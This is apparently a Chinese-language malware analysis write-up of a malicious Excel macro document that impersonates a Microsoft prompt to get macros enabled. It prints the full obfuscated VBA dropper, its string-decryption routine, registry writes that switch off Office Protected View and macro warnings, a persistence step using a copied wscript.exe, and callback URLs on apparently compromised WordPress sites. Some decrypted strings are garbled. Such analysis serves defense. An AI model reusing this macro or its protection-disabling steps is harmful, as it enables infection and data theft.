0x00 前言
0x01 基本信息
样本上传vt时间为2020-1-19,样本名称为KTB-TR.xls
样本名称中所用到的疑似为日本的健身俱乐部
样本打开后内容如下,冒充微软提示用户启用宏
宏代码结构如下:
代码会从名为F的窗体中读取数据
完整宏代码经过与优化后如下:
Public ajkr As Object
Function xekkdrvqds() As String
On Error GoTo hfmzp
Set pnhbx = CallByName(ajkr, yoopegezdw(0), VbMethod, yoopegezdw(1), )
jpgdd = CallByName(pnhbx, yoopegezdw(2), VbGet)
jpgdd = jpgdd & yoopegezdw(3) & CallByName(pnhbx, yoopegezdw(4), VbGet)
jpgdd = jpgdd & yoopegezdw(3) & CallByName(pnhbx, yoopegezdw(6), VbGet)
jpgdd = jpgdd & yoopegezdw(3) & CallByName(Application, yoopegezdw(8), VbGet)
xekkdrvqds = jpgdd
Exit Function
hfmzp
MsgBox yoopegezdw(9), vbCritical, yoopegezdw(10)
End Function
Function kcqsgnodsj()
On Error GoTo zkshd
Set pnhbx = CallByName(ajkr, yoopegezdw(0), VbMethod, yoopegezdw(12), )
jpgdd = yoopegezdw(13)
hfmzp = yoopegezdw(14) & CallByName(Application, yoopegezdw(15), VbGet) & yoopegezdw(16)
CallByName pnhbx, yoopegezdw(17), VbMethod, hfmzp & yoopegezdw(18), 1, jpgdd
CallByName pnhbx, yoopegezdw(17), VbMethod, hfmzp & yoopegezdw(20), 1, jpgdd
CallByName pnhbx, yoopegezdw(17), VbMethod, hfmzp & yoopegezdw(22), 1, jpgdd
CallByName pnhbx, yoopegezdw(17), VbMethod, hfmzp & yoopegezdw(24), 1, jpgdd
CallByName pnhbx, yoopegezdw(17), VbMethod, hfmzp & yoopegezdw(26), 1, jpgdd
Set dqtbl = CallByName(ajkr, yoopegezdw(0), VbMethod, yoopegezdw(28), )
If Len(Environ(yoopegezdw(29))) 0 Then
CallByName dqtbl, yoopegezdw(30), VbMethod, yoopegezdw(31), yoopegezdw(32)
Else
CallByName dqtbl, yoopegezdw(30), VbMethod, yoopegezdw(34), yoopegezdw(32)
End If
CallByName pnhbx, yoopegezdw(17), VbMethod, yoopegezdw(37), yoopegezdw(38) & yoopegezdw(39), yoopegezdw(40)
Open yoopegezdw(39) For Output As #1
Print #1, zvmyittedp(CallByName(F, yoopegezdw(42), VbGet))
Close #1
Exit Function
zkshd
MsgBox yoopegezdw(9), vbCritical, yoopegezdw(10)
End Function
Function zvmyittedp(aaeov As String) As String
On Error GoTo pnhbx
jpgdd = T.Text & ThisWorkbook.Name
hfmzp =
dqtbl = 0
For zkshd = 1 To Len(aaeov) Step 4
ppwrz = Asc(Mid(jpgdd, (dqtbl Mod Len(jpgdd) + 1), 1))
xqony = Mid(aaeov, 1, 4)
xqony = xqony - ppwrz
aaeov = Right(aaeov, Len(aaeov) - 4)
dqtbl = dqtbl + 1
hfmzp = hfmzp + Strings.Chr(xqony)
Next zkshd
zvmyittedp = hfmzp
Exit Function
pnhbx
MsgBox yoopegezdw(9), vbCritical, yoopegezdw(10)
End Function
Function zvwcniwjoz()
On Error GoTo jpgdd
Dim hfmzp As String
hfmzp = yoopegezdw(47)
Set ajkr = CreateObject(hfmzp)
kcqsgnodsj
Dim pnhbx As Object
Set pnhbx = CallByName(ajkr, yoopegezdw(0), VbMethod, yoopegezdw(49), )
CallByName pnhbx, yoopegezdw(50), VbMethod, yoopegezdw(51), yoopegezdw(52) & xekkdrvqds, False
CallByName pnhbx, yoopegezdw(53), VbMethod,
CallByName pnhbx, yoopegezdw(54), VbMethod
Exit Function
jpgdd
MsgBox yoopegezdw(9), vbCritical, yoopegezdw(10)
End Function
Function yoopegezdw(pnhbx) As String
jpgdd = Split(F.L, .)
Dim hfmzp As String
hfmzp = jpgdd(pnhbx)
yoopegezdw = zvmyittedp(hfmzp)
End Function
程序最开始会通过Split函数将窗体F中F控件中的内容以.分割开
分割之后一共得到57个字符串:
第一次运行的时候会通过zvmyittedp函数解密索引为47的字符串:
解密算法如下:
解密得到RDS.DataSpace
经过查询,RDS.DataSpace可能与IE的一个漏洞相关
目前还不能确定,接着往下看,程序会创建RDS.DataSpace对象,接着调用kcqsgnodsj函数
kcqsgnodsj函数内容如下
在kcgsgnodsj函数中,程序首先会通过CallByName函数来执行对象方法,关键参数为之前读取到的窗体中索引为0和12的值,分别是CreateObject和WScript.Shell
通过CallByName修改注册表
几个参数的值分别为
yoopegezdw(13) | “REG_DWORD” |
---|---|
yoopegezdw(14) | “HKCU\Software\Microsoft\Office\“ |
yoopegezdw(15) | “Version” |
yoopegezdw(16) | “\Excel\Security\“ |
接着会通过CallByName继续执行五个对象方法,主要参数分别是索引为18 20 22 24 26 的内容,且根据这里jpgdd的内容(REG_DWORD) 基本可以知道这五个CallByName都是注册表相关的操作
解密之后,参数的值分别如下:
yoopegezdw(17) | “RegWrite” |
---|---|
yoopegezdw(18) | “ProtectedView\DisableInternetFilesIndx” |
yoopegezdw(20) | “ProtectedView\DisableAttachmentsInPV” |
yoopegezdw(22) | “ProtectedView\DisableUnsafeLocations]?-P” |
yoopegezdw(24) | “AccessVBOM” |
yoopegezdw(26) | “VBAWarnings” |
通过对这些注册表键值的分析我们得知,这几个函数用于解除office保护,宏保护等。
CallByName调用yoopegezdw(28)
我们之前已经分析过,yoopegezdw(0)的值是”CreateObject”
通过调试,yoopegezdw(28)的值为”Scripting.FileSystemObject”
说明这里会创建一个文件对象,保存到dptbl,通常来说,文件对象的创建可以用于获取本地主机的一些关键路径。
然后判断索引为29的值,判断之后利用刚才保存的dptbl对象进行新的调用
yoopegezdw(29) | “ProgramW6432” |
---|---|
yoopegezdw(30) |
“CopyFile” |
yoopegezdw(31) | “c:\Windows\SysWOW64\wscript.exe” |
yoopegezdw(32) | “C:\Windows\System32\spool\drivers\co€?OV~?e?hwvc” |
通过分析可以得知,程序是尝试将wscript文件拷贝到指定目录,如果拷贝出错则会给出如下提示
同时,如果索引29的值判断失败,还有两个else分支可以执行
执行的分支所用到的新参数如下
yoopegezdw(34) | “c:\windows\system32\wscript.exe” |
---|---|
yoopegezdw(37) | “HKCU\Software\Microsoft\Windows\Curry?QP??l??€ZPG=_Ru82?Pt??v5C?ii?zt” |
yoopegezdw(38) | “C:\Windows\System32\spool\drivers\co€?OV~?e?hwvcH7x9>S” |
yoopegezdw(39) | “C:\Windows\System32\spool\drivers\co€?OV??`??zru6pjr” |
yoopegezdw(40) | “REG_SZ” |
这里代码基本分析完成了,我们可以尝试根据vbs的解密算法,使用python实现一个并对之前的字符串进行解密:
解密出的字符串如下:
可以看到最后面有个请求地址http://advanceorthocenter.com
该地址的主域名看样子是一个正常的医疗博客,看样子是被攻击者拿了shell并作为攻击的payload加载服务器。
看样子此次捕获的样本并不能在中文操作系统上运行(编码不同的原因)
回家了看看能不能扫一下这个站点,发现点其他东西。
0x02 关联样本
经过追溯,发现一个关联样本,文件hash为46f911014f1202e17936f627f34e6165
该样本与19年9月被首次提交,最后提交时间为19年11月底
样本内容如下,依旧是伪造office官方诱导用启用宏
同之前的样本,该样本有62个待解密的字符串,解密算法有轻微变化。
直接修改vbs代码遍历解密写入到文件
可以看到解密的内容和之前也是几乎相同
这里请求的域名依旧是一个wp站点
https://www.ksahosting.net/wp-includqs/r?Nvbv? c=???